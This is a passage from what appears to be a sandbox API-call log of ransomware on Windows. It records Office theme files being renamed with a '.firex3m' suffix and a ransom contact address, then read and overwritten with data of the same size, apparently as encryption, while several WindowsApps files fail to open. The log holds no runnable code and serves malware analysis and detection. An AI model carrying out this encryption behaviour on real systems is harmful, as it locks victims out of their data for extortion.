hTemplateFile=0x0) returned 0x4e8 [0257.470] CloseHandle (hObject=0x4e8) returned 1 [0257.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\evrgreen.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\evrgreen.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.471] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="EVRGREEN.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EVRGRE~2.FIR")) returned 0x6d5040 [0257.472] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0257.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\evrgreen.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0257.472] GetProcessHeap () returned 0x630000 [0257.472] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x748a8f8 [0257.472] GetProcessHeap () returned 0x630000 [0257.472] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7495d28 [0257.472] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.472] ReadFile (in: hFile=0x4e8, lpBuffer=0x748a8f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x748a8f8*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.473] GetProcessHeap () returned 0x630000 [0263.473] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0263.473] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.474] WriteFile (in: hFile=0x4e8, lpBuffer=0x7495d28*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7495d28*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.477] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.477] WriteFile (in: hFile=0x4e8, lpBuffer=0x74a1127*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a1127*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0263.477] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.477] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0263.478] CloseHandle (hObject=0x4e8) returned 1 [0263.478] GetProcessHeap () returned 0x630000 [0263.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7495d28 | out: hHeap=0x630000) returned 1 [0263.478] GetProcessHeap () returned 0x630000 [0263.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x748a8f8 | out: hHeap=0x630000) returned 1 [0263.485] GetProcessHeap () returned 0x630000 [0263.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0263.485] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0263.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x62ff087d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x12e12, dwReserved0=0xb307496, dwReserved1=0x748a8f0, cFileName="EVRGREEN.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EVRGRE~2.FIR")) returned 0x6d51c0 [0263.485] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0263.485] Sleep (dwMilliseconds=0x1) [0264.596] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\THMBNAIL.PNG", len=0x6c | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\THMBNAIL.PNG") returned 1 [0264.596] GetProcessHeap () returned 0x630000 [0264.596] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c28) returned 0x6fe3bb0 [0264.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0264.695] CloseHandle (hObject=0x694) returned 1 [0264.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0264.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.781] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f40 [0264.797] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0264.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0265.266] GetProcessHeap () returned 0x630000 [0265.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8881) returned 0x7495a00 [0265.267] GetProcessHeap () returned 0x630000 [0265.267] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8881) returned 0x7533010 [0265.311] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.311] ReadFile (in: hFile=0x620, lpBuffer=0x7495a00, nNumberOfBytesToRead=0x8860, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7495a00*, lpNumberOfBytesRead=0x41fff0c*=0x8860, lpOverlapped=0x0) returned 1 [0271.249] GetProcessHeap () returned 0x630000 [0271.249] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0271.249] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.249] WriteFile (in: hFile=0x620, lpBuffer=0x7533010*, nNumberOfBytesToWrite=0x8860, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7533010*, lpNumberOfBytesWritten=0x41fff0c*=0x8860, lpOverlapped=0x0) returned 1 [0271.250] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.250] WriteFile (in: hFile=0x620, lpBuffer=0x753b86f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x753b86f*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0271.250] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.250] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0271.250] CloseHandle (hObject=0x620) returned 1 [0271.250] GetProcessHeap () returned 0x630000 [0271.250] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7533010 | out: hHeap=0x630000) returned 1 [0271.250] GetProcessHeap () returned 0x630000 [0271.250] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7495a00 | out: hHeap=0x630000) returned 1 [0271.251] GetProcessHeap () returned 0x630000 [0271.251] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0271.251] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0271.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a0e04c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8888, dwReserved0=0xb307496, dwReserved1=0x74959f8, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0271.251] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0271.251] Sleep (dwMilliseconds=0x1) [0273.193] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\directionalnavigation-1.0.0.0.js", len=0x81 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\directionalnavigation-1.0.0.0.js") returned 1 [0273.193] GetProcessHeap () returned 0x630000 [0273.193] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e40) returned 0x6fe3bb0 [0273.194] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\directionalnavigation-1.0.0.0.js" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\directionalnavigation-1.0.0.0.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.194] Sleep (dwMilliseconds=0x1) [0273.200] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_rtl.css", len=0x6d | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_rtl.css") returned 1 [0273.200] GetProcessHeap () returned 0x630000 [0273.200] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e3c) returned 0x6fe3bb0 [0273.200] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core_rtl.css" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core_rtl.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.203] Sleep (dwMilliseconds=0x1) [0273.217] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.BackgroundTasks.winmd", len=0x71 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.BackgroundTasks.winmd") returned 1 [0273.217] GetProcessHeap () returned 0x630000 [0273.217] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e20) returned 0x6fe3bb0 [0273.217] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.BackgroundTasks.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.cpub.backgroundtasks.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.218] Sleep (dwMilliseconds=0x1) [0273.232] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-US\\toc.xml", len=0x6d | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-US\\toc.xml") returned 1 [0273.232] GetProcessHeap () returned 0x630000 [0273.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e1c) returned 0x6fe3bb0 [0273.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-US\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\surfacehub\\en-us\\toc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.232] Sleep (dwMilliseconds=0x1) [0273.252] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated_contrast-white.png") returned 1 [0273.252] GetProcessHeap () returned 0x630000 [0273.252] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e00) returned 0x6fe3bb0 [0273.252] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-72_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.253] Sleep (dwMilliseconds=0x1) [0273.264] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated.png", len=0x88 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated.png") returned 1 [0273.264] GetProcessHeap () returned 0x630000 [0273.264] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df8) returned 0x6fe3bb0 [0273.264] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-72_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-72_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.266] Sleep (dwMilliseconds=0x1) [0273.280] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated_contrast-black.png") returned 1 [0273.280] GetProcessHeap () returned 0x630000 [0273.280] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de4) returned 0x6fe3bb0 [0273.280] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-64_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-64_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.280] Sleep (dwMilliseconds=0x1) [0273.302] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_contrast-black.png", len=0x86 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_contrast-black.png") returned 1 [0273.302] GetProcessHeap () returned 0x630000 [0273.302] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd4) returned 0x6fe3bb0 [0273.302] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-60_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.305] Sleep (dwMilliseconds=0x1) [0273.309] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated_contrast-black.png") returned 1 [0273.309] GetProcessHeap () returned 0x630000 [0273.309] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dcc) returned 0x6fe3bb0 [0273.309] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-60_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-60_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.311] Sleep (dwMilliseconds=0x1) [0273.332] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48.png", len=0x77 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48.png") returned 1 [0273.332] GetProcessHeap () returned 0x630000 [0273.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dac) returned 0x6fe3bb0 [0273.332] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.334] Sleep (dwMilliseconds=0x1) [0275.312] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-150.png", len=0x91 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-150.png") returned 1 [0275.312] GetProcessHeap () returned 0x630000 [0275.312] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b3c) returned 0x6fe3bb0 [0275.313] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim1.smile.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.315] Sleep (dwMilliseconds=0x1) [0275.325] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\Logo.scale-150.png", len=0x7d | out: 